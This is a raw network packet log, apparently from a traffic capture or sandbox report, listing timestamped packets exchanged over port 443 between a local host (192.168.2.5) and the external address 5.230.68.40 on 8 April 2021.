Apr 8, 2021 18:46:40.000319958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000325918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000382900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000441074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000442982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000498056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000504971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000566006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000617981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000627995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000689030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000741005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000742912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000801086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000859976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000861883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000924110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000984907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001003027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.001046896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001104116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.001108885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001171112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001231909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001291990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001293898 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.001353979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001418114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.001435041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001488924 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.001578093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001621008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.001693010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003284931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003341913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003392935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003443003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003484011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003529072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003582954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003601074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003634930 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003684998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003693104 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003735065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003739119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003814936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003873110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.003894091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003945112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.003984928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004014015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004039049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004089117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004137993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004142046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004188061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004247904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004286051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004336119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004339933 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004386902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004436970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004446983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004487991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004537106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004539013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004589081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004640102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004647970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004686117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004738092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004786968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004795074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004838943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004888058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.004893064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.004939079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005007029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.005017042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005067110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005115986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005121946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.005167007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005215883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005219936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.005268097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005321026 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.005366087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005444050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.005505085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029125929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029216051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029284954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029349089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029400110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029431105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029453039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029525042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029582977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029613018 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029635906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029673100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029690981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029737949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029742002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029804945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029860973 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.029880047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.029937983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.030004978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.035687923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035712004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035729885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035746098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035763025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035779953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035800934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035819054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035820007 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.035837889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035846949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.035856009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035875082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035882950 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.035892963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035904884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.035907984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.035945892 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064009905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064028978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064069986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064091921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064124107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064132929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064153910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064193964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064203978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064208031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064237118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064280033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064311981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064346075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064374924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064380884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064431906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064446926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064460039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064488888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064519882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064547062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064589977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064616919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064645052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064671993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064697981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064702988 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064738989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064820051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064852953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064917088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.064922094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.064970970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065006971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065047026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065072060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065099001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065118074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065124989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065146923 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065152884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065186024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065215111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065220118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065242052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065268993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065309048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065315008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065334082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065486908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065521002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065552950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065579891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065589905 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065601110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065614939 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065629005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065653086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065654993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065682888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065710068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065711975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065743923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065772057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065798044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065799952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065825939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065824986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065855980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065881968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.065917969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065943956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.065978050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066050053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066071033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066097021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066112995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066124916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066139936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066282034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066355944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066382885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066409111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066416025 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066437006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066457033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066469908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066484928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066500902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066529036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066555023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066561937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066607952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066665888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066687107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066706896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066740990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066756010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066771030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066786051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066798925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066876888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066910982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066930056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066941023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066968918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.066973925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.066998959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067054033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067054987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067070007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067082882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067137003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067142963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067173958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067199945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067226887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067229986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067255020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067281008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067316055 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067339897 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067354918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067394972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067454100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067467928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067498922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067526102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067553043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067564964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067579031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067615986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067626953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067658901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067675114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067718029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067744017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067770004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067800045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067859888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.067902088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067924976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067945957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.067974091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068001986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068008900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068027020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068027973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068054914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068078041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068346977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068370104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068396091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068408966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068423986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068450928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068451881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068478107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068504095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068511963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068531036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068564892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068567991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068599939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068623066 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068625927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068633080 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068655014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068681955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068706989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068711996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068727970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068741083 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068754911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068788052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068788052 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068818092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068844080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068870068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068873882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068897963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.068897963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068924904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068950891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.068977118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069000959 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069025993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069053888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069081068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069108009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069111109 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069128036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069154978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069165945 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069181919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069215059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069216013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069245100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069264889 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069272041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069299936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069325924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069351912 CEST	443	49727	5.230.68.40	192.168.2.5
